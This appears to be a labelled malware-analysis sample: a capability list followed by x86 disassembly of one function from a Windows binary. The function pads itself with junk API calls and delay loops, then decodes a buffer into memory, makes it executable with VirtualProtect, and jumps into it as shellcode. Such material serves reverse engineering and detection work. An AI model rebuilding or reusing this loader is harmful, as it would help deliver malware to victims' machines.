Function at 0x41d3bb
Capabilities:
Allocate or change rwx memory
Create service
Execute shellcode via indirect call
Query service status
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8d8
mov eax, dword [0x42b4d0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x4432e0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0xdf2a4
jne 0x41d520
mov dword [ebp - 0x894], 0x4432e0
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x894]
mov al, byte [eax]
mov byte [ebp - 0x889], al
inc dword [ebp - 0x894]
cmp byte [ebp - 0x889], 0
jne 0x41d3fb
mov eax, dword [ebp - 0x894]
sub eax, dword [ebp - 0x8b0]
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x8b8], 0xccc14
jne 0x41d520
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
lea eax, [ebp - 0x848]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
and dword [ebp - 0x8ac], 0
lea eax, [ebp - 0x8ac]
push eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
lea eax, [ebp - 0x8cc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ObjectOpenAuditAlarmA]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
lea eax, [ebp - 0x8d0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [ebp - 0x8c0]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
push 0x427811
push 0x4432e0
call fcn.00405716
pop ecx
pop ecx
push str.Wojijox
call fcn.00406092
pop ecx
push 0x427830
push str.fobu.txt
call fcn.00406409
pop ecx
pop ecx
mov dword [ebp - 0x8b4], eax
push dword [ebp - 0x8b4]
call fcn.0040654d
pop ecx
push 0x32
push str.Watipudu
push str._s__c
push 0x4432e0
call fcn.00405716
add esp, 0x10
and dword [ebp - 0x89c], 0
jmp 0x41d536
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0x1ff4ee94
jge 0x41d56d
lea eax, [ebp - 0x82c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoA]
cmp dword [ebp - 0x89c], 0x1094673
jle 0x41d56b
cmp dword [ebp - 0x824], 0x61467bfc
je 0x41d56b
jmp 0x41d56d
jmp 0x41d529
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x42d4ac]
mov dword [0x466ab8], eax
and dword [ebp - 0x8a4], 0
jmp 0x41d594
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 0x3cc52c
jge 0x41d62c
cmp dword [ebp - 0x8a4], 0x2dd0ee
jne 0x41d5bf
mov eax, dword [0x466ab8]
add eax, 0x1e610
mov dword [0x466ab8], eax
cmp dword [0x466ab8], 0x512
jne 0x41d627
lea eax, [ebp - 0x888]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCommProperties]
push 0
push 0
push 0
lea eax, [ebp - 0x8c8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
and dword [ebp - 0x8bc], 0
push 0
push 0
push 0
lea eax, [ebp - 0x8bc]
push eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ConvertToAutoInheritPrivateObjectSecurity]
jmp 0x41d587
and dword [ebp - 0x898], 0
jmp 0x41d642
mov eax, dword [ebp - 0x898]
inc eax
mov dword [ebp - 0x898], eax
cmp dword [ebp - 0x898], 0x463531
jge 0x41d69e
cmp dword [0x466ab8], 0x1166
jne 0x41d67d
push 0
lea eax, [ebp - 0x804]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
cmp dword [ebp - 0x898], 0x284a49
jne 0x41d69c
push dword [0x466ab8]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x446578], eax
jmp 0x41d635
and dword [ebp - 0x8a0], 0
jmp 0x41d6b4
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 0x51376
jge 0x41d706
cmp dword [0x466ab8], 0x21b
jne 0x41d6e7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
lea eax, [ebp - 0x8d8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
cmp dword [ebp - 0x8a0], 0x1837d
jne 0x41d704
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x42d4a0]
mov dword [0x466abc], eax
jmp 0x41d6a7
and dword [ebp - 0x890], 0
jmp 0x41d71c
mov eax, dword [ebp - 0x890]
inc eax
mov dword [ebp - 0x890], eax
mov eax, dword [ebp - 0x890]
cmp eax, dword [0x466ab8]
jae 0x41d761
mov eax, dword [0x446578]
add eax, dword [ebp - 0x890]
mov ecx, dword [0x466abc]
add ecx, dword [ebp - 0x890]
mov cl, byte [ecx + 0x1e610]
mov byte [eax], cl
cmp dword [0x466ab8], 0x3ec
jne 0x41d75f
mov dword [0x445568], 0xf74f13f0
jmp 0x41d70f
mov edx, 0x466ab8
mov ecx, 0x446578
call fcn.0041effd
lea eax, [ebp - 0x8c4]
push eax
push 0x40
push dword [0x466ab8]
push dword [0x446578]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x42c5c0
mov edx, dword [0x466ab8]
mov ecx, dword [0x446578]
call fcn.0041ebbb
call fcn.0041d7ea
and dword [ebp - 0x8a8], 0
jmp 0x41d7bc
mov eax, dword [ebp - 0x8a8]
inc eax
mov dword [ebp - 0x8a8], eax
cmp dword [ebp - 0x8a8], 0x6594bb
jge 0x41d7dc
cmp dword [ebp - 0x8a8], 0x6133e2
jne 0x41d7da
jmp dword [0x446578]
jmp 0x41d7af
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405707
mov esp, ebp
pop ebp
ret